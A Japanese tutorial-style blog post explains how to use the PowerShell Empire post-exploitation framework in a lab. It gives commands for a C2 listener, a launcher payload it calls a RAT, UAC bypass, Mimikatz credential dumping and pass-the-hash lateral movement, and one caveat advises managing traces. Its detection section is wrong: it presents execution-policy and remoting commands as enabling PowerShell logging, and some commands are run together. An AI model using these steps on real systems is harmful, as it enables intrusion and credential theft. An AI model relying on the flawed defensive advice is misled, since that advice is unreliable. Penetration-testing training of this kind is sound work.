セキュリティ PR

PowerShell Empire徹底解説!初心者向け使い方ガイドと基本操作

記事内に商品プロモーションを含む場合があります

PowerShell Empireとは

PowerShell Empireは、Windows環境におけるセキュリティ検証や脆弱性評価を行うためのペネトレーションテストツールです。特にPowerShellを利用した後方支援(Post-Exploitation)に強みがあり、リモート管理や権限昇格、情報収集などを効率的に行えます。

サイバーセキュリティにおける位置付け

PowerShell Empireはもともとセキュリティ専門家向けに設計されていますが、その強力な機能ゆえに悪用されるケースもあります。そのため、使用目的と適切な管理が重要です。テスト環境以外での利用や法的制約を無視した操作は厳に控えましょう。

注意事項と法的な制約

PowerShell Empireの利用は法律や倫理規定を遵守する必要があります。以下のポイントを守りましょう:

  • 許可された環境でのみ利用すること
  • 正当な目的以外で使用しないこと
  • ログを確認し、痕跡を適切に管理すること

環境構築の準備

PowerShell Empireを使用するには、以下の環境を構築する必要があります。

Windows Server 2012 R2の用意

Windows Server 2012 R2を利用して、ドメインコントローラを設定します。

  1. Windows Serverをインストール:公式サイトからISOファイルを取得し、仮想環境または実機にインストール。
  2. Active Directory役割を追加
    Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools
  3. ドメインの設定dcpromoコマンドを利用し、ドメイン名を設定します(例: example.local)。

Windows 7の用意

クライアントとしてWindows 7をセットアップします。

  1. 仮想マシンにWindows 7をインストール。
  2. ネットワーク設定でドメインコントローラにアクセス可能なIPを設定。
  3. ドメイン参加を完了します。

ドメインユーザにローカル管理者権限を付与する

Windows 7でドメインユーザに管理者権限を付与するには以下のコマンドを使用します:

net localgroup administrators "example\user" /add

これにより、example\userがローカル管理者権限を持つようになります。

PowerShell Empireのインストールとセットアップ

Kali Linuxの用意

Kali LinuxはPowerShell Empireを動作させるための主要なプラットフォームです。以下を実行します:

  1. 公式ISOからインストール
  2. 必要なツールをインストール:
    sudo apt update && sudo apt install -y git python3 python3-pip

PowerShell Empireのインストール

  1. Gitを利用したインストール
    git clone https://github.com/EmpireProject/Empire.git cd Empire ./setup/install.sh
  2. 依存関係のインストール
    pip3 install -r requirements.txt
  3. Empireサーバーの起動
    ./empire

PowerShell Empireの基本操作

Listenerの設定

リスナーはRAT(Remote Access Trojan)を待ち受けるための構成です。

  • リスナー一覧を確認
    listeners
  • 新規リスナーの作成
    uselistener http set Host http://192.168.1.100:8080 execute

RAT(Remote Access Trojan)の実行

Windows 7でRATを実行し、Empireサーバでセッションを確認します。

  1. RATペイロードの生成
    usemodule launcher_bat set Listener http generate
  2. 生成されたBATファイルをWindows 7上で実行。
  3. Empireサーバでセッションを確認
    sessions

権限昇格と情報収集

パスワードハッシュの入手方法

  1. bypassuacによる権限昇格
    invoke-bypassuac これにより管理者権限を取得できます。
  2. Mimikatzを使用したハッシュ抽出
    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

ネットワーク内での権限拡張

  • invoke_smbexecで他のマシンへアクセス
    invoke-smbexec -target 192.168.1.101 -username admin -hash 1234567890abcdef

セキュリティ対策と検出方法

IOC(Indicator Of Compromise)の特定

PowerShell Empireの痕跡を確認するためには、次のポイントをチェックします:

  • ログファイルの確認
  • レジストリの変更検知
  • PowerShellログを有効化する方法
    Set-ExecutionPolicy RemoteSigned Enable-PSRemoting

PowerShellログの分析

SIEMツールやSplunkを活用してログを可視化し、異常を検知します。

PowerShell Empireを学ぶためのリソース

実践の手引き

  • 推奨トレーニング:Penetration Test with PowerShell(例: HackTheBox)
  • 技術資料:GitHubの公式リポジトリやセキュリティブログ

関連ツールと技術情報

  • CobaltStrikePowerSploitとの比較
  • 最新の防御策とトレンドを学ぶ方法

まとめ

PowerShell Empireは非常に強力なツールですが、誤用のリスクも伴います。本記事を通じて基礎的な利用方法を学び、安全かつ適切な環境での利用を心がけましょう。さらにセキュリティ対策を併せて理解することで、より強固な防御策を構築できます。